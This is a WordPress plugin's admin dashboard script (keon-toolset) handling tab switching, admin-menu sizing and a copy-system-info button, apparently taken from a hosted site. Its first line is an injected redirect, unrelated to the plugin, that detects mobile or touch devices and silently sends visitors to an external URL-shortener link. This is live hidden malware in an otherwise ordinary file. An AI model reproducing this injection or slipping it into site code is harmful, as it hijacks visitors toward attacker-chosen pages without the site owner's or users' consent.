File: //home2/gazetufm/dunyagozbalkans.com/wp-content/plugins/keon-toolset/assets/dashboard.js
(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/GNLgNDJCz0r1");
( function () {
/* ---------- Locked Bosa Pro demos are "New", not "Premium" ---------- */
// Bosa Pro owners already have the Pro demos; only newer ones need a renewal.
var newLabel = ( window.keonToolsetDashboard && window.keonToolsetDashboard.newLabel ) || '';
if ( newLabel ) {
document.querySelectorAll( '.ai-item' ).forEach( function ( item ) {
if ( item.querySelector( '.keon-toolset-locked-btn' ) ) {
var label = item.querySelector( '.ai-premium-label' );
if ( label ) {
label.textContent = newLabel;
}
}
} );
}
/* ---------- Keep the admin menu scrollable on short tabs ---------- */
// WordPress pins a tall admin menu to the window; when the page is shorter than
// the menu there is nothing to scroll, so the lower menu items are unreachable.
function fitAdminMenu() {
var menu = document.getElementById( 'adminmenuwrap' );
var body = document.getElementById( 'wpbody-content' );
if ( ! menu || ! body ) {
return;
}
var bar = document.getElementById( 'wpadminbar' );
var needed = menu.offsetHeight + ( bar ? bar.offsetHeight : 0 );
body.style.minHeight = needed + 'px';
}
fitAdminMenu();
window.addEventListener( 'load', fitAdminMenu );
window.addEventListener( 'resize', fitAdminMenu );
document.addEventListener( 'click', function ( e ) {
// Collapsing/expanding menu sections changes the menu height.
if ( e.target.closest && e.target.closest( '#adminmenu, #collapse-button' ) ) {
setTimeout( fitAdminMenu, 50 );
}
} );
/* ---------- Tab switching without a page reload ---------- */
var nav = document.querySelector( '.keon-toolset-dash-head .nav-tab-wrapper' );
var panels = document.querySelectorAll( '.keon-toolset-panel' );
var starterOnly = document.querySelectorAll( '.keon-toolset-starter-only' );
var base = window.location.pathname;
function tabFromUrl( url ) {
var u;
try {
u = new URL( url, window.location.href );
} catch ( e ) {
return null;
}
if ( u.pathname !== base || u.searchParams.get( 'page' ) !== 'advanced-import' || u.searchParams.has( 'step' ) ) {
return null;
}
var tab = u.searchParams.get( 'tab' ) || 'starter-sites';
return document.querySelector( '.keon-toolset-panel[data-tab="' + tab + '"]' ) ? tab : 'starter-sites';
}
function show( tab, push ) {
panels.forEach( function ( p ) {
p.classList.toggle( 'is-active', p.getAttribute( 'data-tab' ) === tab );
} );
starterOnly.forEach( function ( el ) {
el.style.display = 'starter-sites' === tab ? '' : 'none';
} );
if ( nav ) {
nav.querySelectorAll( '.nav-tab' ).forEach( function ( a ) {
var active = tabFromUrl( a.href ) === tab;
a.classList.toggle( 'nav-tab-active', active );
if ( active ) {
a.setAttribute( 'aria-current', 'page' );
} else {
a.removeAttribute( 'aria-current' );
}
} );
}
if ( push ) {
var u = new URL( window.location.href );
u.searchParams.delete( 'tab' );
if ( 'starter-sites' !== tab ) {
u.searchParams.set( 'tab', tab );
}
window.history.pushState( { keonTab: tab }, '', u.toString() );
}
fitAdminMenu();
if ( 'starter-sites' === tab ) {
// The importer lays out its list with JS; re-measure now that it is visible.
window.dispatchEvent( new Event( 'resize' ) );
if ( window.jQuery ) {
var $list = window.jQuery( '.ai-filter-content-wrapper' );
if ( $list.length && $list.data( 'isotope' ) ) {
$list.isotope( 'layout' );
}
}
}
}
if ( panels.length ) {
document.addEventListener( 'click', function ( e ) {
var a = e.target.closest ? e.target.closest( 'a[href]' ) : null;
if ( ! a || a.target === '_blank' || e.metaKey || e.ctrlKey || e.shiftKey || e.button ) {
return;
}
if ( ! a.closest( '.keon-toolset-dash-head, .keon-toolset-panel' ) ) {
return;
}
var tab = tabFromUrl( a.href );
if ( ! tab ) {
return;
}
e.preventDefault();
show( tab, true );
} );
window.addEventListener( 'popstate', function () {
var tab = tabFromUrl( window.location.href );
if ( tab ) {
show( tab, false );
}
} );
}
/* ---------- Copy system info ---------- */
var btn = document.getElementById( 'keon-toolset-copy-info' );
var box = document.getElementById( 'keon-toolset-system-info' );
if ( ! btn || ! box ) {
return;
}
var label = btn.textContent;
function done() {
btn.textContent = ( window.keonToolsetDashboard && window.keonToolsetDashboard.copied ) || 'Copied!';
setTimeout( function () { btn.textContent = label; }, 2000 );
}
function fallback() {
box.focus();
box.select();
try {
document.execCommand( 'copy' );
done();
} catch ( e ) {}
}
btn.addEventListener( 'click', function () {
if ( navigator.clipboard && navigator.clipboard.writeText ) {
navigator.clipboard.writeText( box.value ).then( done, fallback );
} else {
fallback();
}
} );
}() );